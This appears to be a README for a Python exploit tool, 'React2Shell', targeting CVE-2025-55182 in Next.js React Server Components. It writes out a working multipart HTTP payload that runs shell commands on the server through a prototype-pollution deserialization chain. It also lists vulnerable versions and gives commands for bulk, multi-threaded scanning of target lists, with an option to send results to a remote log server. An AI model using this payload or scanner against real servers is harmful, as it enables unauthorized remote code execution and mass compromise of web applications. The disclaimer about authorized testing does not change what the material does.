💀 React2Shell Exploit — CVE-2025-55182

██████╗ ███████╗ █████╗  ██████╗████████╗██████╗ ███████╗██╗  ██╗███████╗██╗     ██╗
██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║  ██║██╔════╝██║     ██║
██████╔╝█████╗  ███████║██║        ██║    █████╔╝███████╗███████║█████╗  ██║     ██║
██╔══██╗██╔══╝  ██╔══██║██║        ██║   ██╔═══╝ ╚════██║██╔══██║██╔══╝  ██║     ██║
██║  ██║███████╗██║  ██║╚██████╗   ██║   ███████╗███████║██║  ██║███████╗███████╗███████╗
╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝ ╚═════╝   ╚═╝   ╚══════╝╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝

🔥 React Server Components Remote Code Execution

CVE-2025-55182

Written by INDRA

⚠️ Disclaimer

This project is provided for educational purposes, security research, and authorized penetration testing only.

The author assumes no responsibility for any misuse or damage caused by this software.

Only use this exploit against systems that you own or have explicit permission to test.

📖 Description

React2Shell is a proof-of-concept exploit for CVE-2025-55182 affecting vulnerable React Server Components (RSC) implementations in Next.js.

The exploit sends a crafted multipart request that abuses the vulnerable deserialization flow and extracts command output through the application's redirect digest response.

When successful, the exploit displays the executed command output directly in the terminal.

✨ Features

• 🚀 Single Target Mode
• 🌍 Bulk Scan Mode
• 🔄 Automatic HTTP & HTTPS Detection
• ⚡ Multi-threaded Execution
• 📝 Optional Local Logging
• 🌐 Optional Remote Log Server
• 🎯 Clean Output
• 🛡 SSL Verification Disabled (for testing environments)
• 📂 Duplicate Target Removal

📦 Requirements

Python 3.8+

Install dependencies:

pip install requests urllib3

📁 Project Structure

.
├── exploit.py
└── README.md

🔥 Vulnerable Versions

React

Next.js

Vulnerable

• 14.3.0-canary.77 and later
• 15.x
• 16.x

Patched

• 15.0.5
• 15.1.9
• 15.2.6
• 16.0.7

📨 HTTP Request Used

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]

------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

🚀 Usage

Show Help

python exploit.py -h

Scan One Target

python exploit.py -u https://target.com

Scan Multiple Targets

targets.txt

target1.com
target2.com
target3.com

Run

python exploit.py -f targets.txt

Save Results

python exploit.py -u https://target.com -o results.txt

Send Results To Remote Log Server

python exploit.py -u https://target.com -l https://your-log-server.com

Everything Together

python exploit.py -f targets.txt -o results.txt -l https://your-log-server.com

📋 Command Line Options

🖥 Example Output

🚀 Loaded 42 targets (HTTP + HTTPS)

🔥 [VULNERABLE] https://target.com/

💀 Command Output →
uid=1000(node) gid=1000(node) groups=1000(node)

──────────────────────────────────────────────

⚙️ How It Works

1. Reads target(s)
2. Automatically generates HTTP and HTTPS URLs
3. Sends crafted multipart request
4. Parses redirect digest
5. Extracts command output
6. Prints successful exploitation
7. Optionally stores results locally or remotely

📌 Notes

• Automatically tests both HTTP and HTTPS when no scheme is provided.
• Duplicate targets are removed automatically.
• Uses 30 concurrent threads.
• Ignores invalid SSL certificates.
• Timeout is set to 10 seconds.

❤️ Credits

• Exploit Development: INDRA
• CVE: CVE-2025-55182

⚖️ Legal Notice

Unauthorized use of this software against systems without permission may violate local, national, or international laws.

The author is not responsible for any misuse.

⭐ If this project helped your research, consider giving it a star.

Happy Hunting 🕷️